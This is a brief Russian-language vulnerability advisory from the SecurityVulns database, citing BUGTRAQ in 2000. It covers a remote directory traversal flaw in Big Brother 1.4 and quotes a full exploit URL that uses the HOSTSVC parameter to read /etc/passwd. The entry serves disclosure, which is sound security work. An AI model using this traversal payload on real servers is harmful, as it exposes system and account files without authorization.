Еще дырки в Big Brother
Published:		12.07.2000
Source:		BUGTRAQ
SecurityVulns ID:		348
Type:		remote
Level:		5/10
Описание:		С помощью переменной HOSTSVC можно получить доступ к любому файлу: http://www.bb4.com/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd

Affected:

Big Brother 1.4

Original document

Eric Hines, REMOTE EXPLOIT IN ALL CURRENT VERSIONS OF BIG BROTHER (12.07.2000)

Discuss:

Read or add your comments to this news (0 comments)